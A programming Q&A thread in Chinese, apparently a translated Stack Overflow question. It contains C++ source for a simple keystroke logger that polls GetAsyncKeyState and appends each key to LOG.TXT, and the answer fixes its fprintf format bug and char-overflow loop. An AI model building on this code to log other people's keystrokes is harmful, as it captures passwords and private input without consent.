我有以下代码,我似乎无法确定问题是什么。
当我编译c ++程序时,编译器返回关于期望类型为char*
的参数的警告,但参数3具有类型int
int save (int key_stroke, const char file[]);
int main()
{
char i;
while(1){
for (i = 8; i <= 190; i++){
if(GetAsyncKeyState(i)== -32767){
save(i,"LOG.TXT");
}
}
}
return 0;
}
int save (int key_stroke, const char file[])
{
if(key_stroke==1 || key_stroke==2)
return 0;
FILE *OUTPUT_FILE;//created a pointer reference variable of type File
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);//this is line that c++ compiler
//compiler complains of
fclose(OUTPUT_FILE);
cout<<key_stroke<<endl;
return 0;
}
答案 0 :(得分:1)
%s
格式说明符表示相应的参数(传递给fprintf
函数)应该是指向char
的指针。您正在传递&key_stroke
,即int
的地址 - 因此此警告。
在您的for (i = 8; i <= 190; i++)
循环中,在127之后的下一个值将为-128,因为i
被声明为char
,除非您使用使其成为unsigned char
的编译器设置,你?